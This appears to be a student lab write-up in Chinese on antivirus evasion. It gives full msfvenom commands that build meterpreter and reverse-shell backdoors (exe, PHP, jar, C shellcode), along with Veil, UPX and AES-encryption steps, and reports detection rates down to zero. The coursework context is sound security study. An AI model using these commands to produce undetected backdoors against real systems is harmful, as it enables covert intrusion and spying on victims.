• EXP3免杀原理与实践


    基础问题问答

    1.1 杀软是如何检测出恶意代码的?

    基于特征码进行检测:杀毒软件的病毒库记录了一些恶意软件的特征码,一段特征码就是一段或多段数据。

    利用启发式恶意软件检测:将一个软件与恶意软件的行为、代码等作比对,如果发现相似度达到一定程度,即判定这个程序为恶意代码,有一定误报可能,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。

    基于行为的恶意软件检测:对运行的所有进程进行实时监控,如果有敏感行为会被认为是恶意程序,是一种动态的监测与捕捉,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,相当于加入了行为监控的启发式。

    1.2 免杀是做什么?

    免杀就是让安插的后门不被AV软件发现。除了直接使用现有后门软件外,还有一些方式,在实际中也有用。让我们的后门在目标机器上不被杀毒软件或者其他的防护软件识别并删除,从而不被别人发现地进行攻击和窥探。

    1.3 免杀的基本方法有哪些?

    1. 改变行为,例如:尽量使用反弹式连接,使用隧道技术,加密通讯数据。
    2. 改变特征码,例如:对exe文件进行加壳,对shellcode用encode进行编码或者基于payload重新编译生成可执行文件。
    3. 修改内存特征码
    4. 等价替换法:把特征码所对应的汇编指令命令中替换成功能类拟的指令。
    5. 通用跳转法:把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行。

    1.4 开启杀软能绝对防止电脑中恶意代码吗?

    显然不是绝对的,杀软永远是跟着更加强有力的恶意代码而更新、进化,也就是说不存在一款杀软能够防御所有的恶意代码

    实践内容

    正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

    检测直接生成的后门exe文件(实验二中的后门程序)
    检出率为54/70

    使用Unicode编码
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=10.0.2.15 LPORT=1214 -f exe > backdoor1.exe
    检出率54/70

    编码多次

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -10 -b ‘\x00’ LHOST=192.168.40.128 LPORT=11310 -f exe > backdoor2.exe

    检出率:53/70
    和李烨龙同学的结果有所不同,我编码多次得出的程序其检出率似乎并没有明显变化

    利用php格式文件
    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.40.128 LPORT=11310 x> backdoor_php.php

    检出率:22/57
    相较之前检出率明显下降

    利用jar文件
    msfvenom -p java/shell_reverse_tcp LHOST=192.168.40.128 LPORT=11310 -f jar > backdoor_jar.jar

    检出率:32/60

    加壳工具实践veil

    安装

    sudo apt-get install veil-evasion

    修改setup.sh

    进入root

    cd /usr/share/veil/config vim setup.sh
    修改260行(显示行数命令:esc,:set number)

    第一遍修改错误,没有将github改成gitee,还好后面发现了

    这时,发现因为没有安装wine32而报错
    从网上找到安装wine32的指令
    `

    • dpkg --add-architecture i386
    • apt-get update
    • apt-get install wine32`

    接下来一路安装,成功

    使用veil工具

    依次输入命令:

    veil
    use evasion					
    use c/meterpreter/rev_tcp.py 	
    set LHOST 192.168.40.128		
    set LPORT 11310					
    generate
    

    检出率:38/69

    免杀加壳尝试

    加壳是对相应的资源进行压缩,压缩后仍可运行。
    加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
    它可以用来保护版权,但同时许多病毒也利用它来作为原理。

    输入加壳指令

    upx 20191214veil.exe -o 20191214_veil_upx.exe


    生成 20191214_veil_upx.exe

    检出率:38/68,基本无变化

    使用C+ shellcode编程

    输入msfvenom指令
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=1214 -f c

    编辑.c文件

    编译成可执行文件
    i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe

    检测,检出率:35/69

    通过组合应用各种技术实现恶意代码免杀

    利用python+aes_encrypt
    打开veil,选择Evasion
    找到payload

    输入命令

    use python/shellcode_inject/aes_encrypt.py
    generate
    

    选择2

    输入ip、端口等配置信息


    成功生成.py文件

    检出率:0

    附加题

    实验体会

    这次实验,过程并不复杂,也不涉及高深的原理,完全是承接前一次实验而进行的,也就是恶意代码的进化和种种免杀的方法,可以说实在是让我大开眼界。但同时我感到这也不过是网络攻防内容之冰山一角罢了,网络世界浩瀚无穷,缤彩纷呈,但是同时也危机四伏,或许作为一名普通的、浅层的用户能够对这些危险毫无察觉,但作为一名信息安全专业的学生,见识到了网络攻防的凶险之后就不能不对这种危机多加警惕并及时防范。

  • 相关阅读:
    系统设计题:如何设计一个电商平台积分兑换系统!
    服务器上部署多台mysql
    log4j日志输出格式一览
    Intellij IDEA 智能补全
    什么是旅行商问题——算法NP、P、NPC知识
    如何找到两个升序数组归并后的升序数组的中位数
    Java 不同进制的字面值
    Android 进程和线程
    美图秀秀2015年实习生android应用开发方向招聘笔试题
    Android:Layout_weight的深刻理解
  • 原文地址:https://www.cnblogs.com/kuohao1214/p/16103841.html
Copyright © 2020-2023  润新知